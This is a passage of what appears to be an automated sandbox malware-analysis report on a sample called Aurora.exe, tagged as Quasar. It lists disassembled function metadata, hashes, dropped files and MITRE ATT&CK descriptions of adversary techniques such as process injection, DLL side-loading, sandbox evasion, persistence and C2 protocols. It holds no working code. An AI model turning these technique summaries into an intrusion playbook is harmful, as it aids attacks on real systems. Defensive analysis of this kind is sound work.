String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 627e953686afcf6d0ac62faafb3dbc2ae17aaa1664abc7917e467f67aa4fbba8
Instruction ID: cf13032816971433b4574a3b9902fe562a8b0510b1edc218ed77db6240006ae0
Opcode Fuzzy Hash: 627e953686afcf6d0ac62faafb3dbc2ae17aaa1664abc7917e467f67aa4fbba8
Instruction Fuzzy Hash: E2F04F52C48F4885D212CF1CA4001EEB374FF9E789F185326EA8976565DF29E6928710

Function 00007FF6D68AD500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF6D68AD500
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 7f92d130cce21c2f31621881bde1b9e11798fe127ce7f7332aab9cfc7e7cfde4
Instruction ID: a40b9f1df956b76b5091d7fc4e7449522c487e4e76b2bc34a2be9f994e3cada1
Opcode Fuzzy Hash: 7f92d130cce21c2f31621881bde1b9e11798fe127ce7f7332aab9cfc7e7cfde4
Instruction Fuzzy Hash: D2F04F12C49F4885E2128F1CA4001EEB374FF5E789F185326EA8A76565DF29D6968710

Function 00007FF6D68AD461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6D68AD4A9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6D68AD499
Argument domain error (DOMAIN), xrefs: 00007FF6D68AD461

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 31b6d2850555b7388cd954b168e21c3fb6e4ba2054255dc94b2c067aad6ee3bf
Instruction ID: 65248231e84344215af70efbe6441d5234dbe82da036558c4e28f5cbcd1e4da8
Opcode Fuzzy Hash: 31b6d2850555b7388cd954b168e21c3fb6e4ba2054255dc94b2c067aad6ee3bf
Instruction Fuzzy Hash: 5CF06216C44F4485D202CF1CA8001AAB374FF5E789F145326EF8D36525DF29D5938700

Function 00007FF6D68ADE50 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6D68ADE77
free.MSVCRT ref: 00007FF6D68ADEC8
LeaveCriticalSection.KERNEL32 ref: 00007FF6D68ADED4

Memory Dump Source

Source File: 00000039.00000002.2918288244.00007FF6D68A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6D68A0000, based on PE: true

Associated: 00000039.00000002.2918207984.00007FF6D68A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918343847.00007FF6D68BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918392070.00007FF6D68BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918441392.00007FF6D68C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000039.00000002.2918537302.00007FF6D68C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ff6d68a0000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 7f3b1ea40ebe754951ef5490da30fd20d8c41ff35c31e8fed40a0bb8d3b06e42
Instruction ID: 63a692726ccc854b2ac5ce5ec82e3e6b88ffe3e1f8a4691b2d5a1f886547eaf9
Opcode Fuzzy Hash: 7f3b1ea40ebe754951ef5490da30fd20d8c41ff35c31e8fed40a0bb8d3b06e42
Instruction Fuzzy Hash: 8E111B61F0960382EB548B55E89057D63A1AFA8B40F554536CA0EC73A0EF7EE97683A0

Analysis Process: powershell.exePID: 7764, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BAAA0E5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2844444707.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7fb5dd23716628e1efe50c08cd67fed29d83606ad418f7441e6f6b35f5063cc
Instruction ID: 4ba324535c78ab684d531db93b8ff885bf99c0f0a54a8ee48cb9bddfc1edfc1c
Opcode Fuzzy Hash: a7fb5dd23716628e1efe50c08cd67fed29d83606ad418f7441e6f6b35f5063cc
Instruction Fuzzy Hash: 2431063191CB8C4FDB58DB5CDC4A6A9BBE0FB69720F00426FE449D3252DA74A855CBC2

Function 00007FFD9B98ED40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2841583176.00007FFD9B98D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B98D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9b98d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59507ddca0d2e3a091a4623dbb3a81749009cb0e704e4fc1d4a2592f03f2cc19
Instruction ID: 1e47ea6a0f19c21eb7de6d7892dee51b6d3464005ef9b86d8ecda6d3ae8e0c45
Opcode Fuzzy Hash: 59507ddca0d2e3a091a4623dbb3a81749009cb0e704e4fc1d4a2592f03f2cc19
Instruction Fuzzy Hash: 6041287140EFC45FE7569B289C619523FF0EF53320B1A05DFD488CB1A3D625A84AC7A2

Function 00007FFD9BAAB028 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2844444707.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c89c041dfbbef7d1b3114a2a63b609b0fda712459d0b48deed929be786a3570
Instruction ID: 047311248dd2b8278359f29a2bd8df5f86832d15382856fc0bde33dea5d2d209
Opcode Fuzzy Hash: 0c89c041dfbbef7d1b3114a2a63b609b0fda712459d0b48deed929be786a3570
Instruction Fuzzy Hash: B321073090C64C4FDB58DF9CC84A7E97BF0EB56321F04426BD449C7152DA74A406CBA1

Function 00007FFD9BAA4675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2844444707.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08376457c08db8008bfa77483a90a4a0360541801058dce5cd043a4e6c56b69
Instruction ID: 2e91e71cc2b44e39cb8f7cd722c398ee3008c0f16b60a0073bc18851048dd9ec
Opcode Fuzzy Hash: b08376457c08db8008bfa77483a90a4a0360541801058dce5cd043a4e6c56b69
Instruction Fuzzy Hash: 8D01847120CB0C8FD748EF0CE051AA5B3E0FB85360F10056EE58AC36A1DA32E881CB45

Function 00007FFD9BAAAE68 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2844444707.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9640db8af87f467f2c1612031fb2170497b91fd7fe6d921295cd425484d0c8bd
Instruction ID: 94d39a2108ff2cbeac65aa26d9cf6e8a82deec17dc557388c334c7a133e9a4ac
Opcode Fuzzy Hash: 9640db8af87f467f2c1612031fb2170497b91fd7fe6d921295cd425484d0c8bd
Instruction Fuzzy Hash: 75F02431808A8D8FDB16DF68C8255E57FE0FF26210F05029BE458C70B2DB74A558CB92

Function 00007FFD9BB74A1D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2849101649.00007FFD9BB70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9bb70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c32585758c653ba3008500399e4de75549168890b47fa5cc486c09abc26883
Instruction ID: d512122a0cc571cda6505bf6f2df41085094db47f576ab9a8a8b008a34665ecf
Opcode Fuzzy Hash: 86c32585758c653ba3008500399e4de75549168890b47fa5cc486c09abc26883
Instruction Fuzzy Hash: 3EF0BE32B0E5498FD768EA5CE4918A873E0FF4532571100BAE16DC74B3CA25EC40CB44

Function 00007FFD9BB74CD0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2849101649.00007FFD9BB70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9bb70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f6a38a6916925bff6cb7863a0f9bde07417e516a9836fcf9d755e273bc6f1cb
Instruction ID: 3c4de7d38249404b629416152503ae0e93e630e0aa6acb4dc1d87811b847f389
Opcode Fuzzy Hash: 6f6a38a6916925bff6cb7863a0f9bde07417e516a9836fcf9d755e273bc6f1cb
Instruction Fuzzy Hash: ACF05E32A0E5498FE768EA5CE4958A877E0FF4532571500BAE15DC74B3DA26EC50CB40

Function 00007FFD9BB753E4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.2849101649.00007FFD9BB70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffd9bb70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee915be0f811ce1343a570ed966bca37c2a78d742b9e6b523e2fdcc0210d4887
Instruction ID: c4d29b3d09e880b390991a2ac33d34be86d77132451868ac55264eba1b037e43
Opcode Fuzzy Hash: ee915be0f811ce1343a570ed966bca37c2a78d742b9e6b523e2fdcc0210d4887
Instruction Fuzzy Hash: 8EF0A03171CF044FE748EE2DE449AA2B3E0FBA8314F10462FE44AC3291DA21E8818782

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Aurora.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Quasar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aurora.exe_4ddec6df7537fc171b2d38e73121d365b626f68_00000000_5bd2e63e-4bad-43be-8393-fab0a7e1ec72\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF57.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFA6.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OneDrive Updater.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OneDrive.exe.log

Windows Analysis Report
Aurora.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre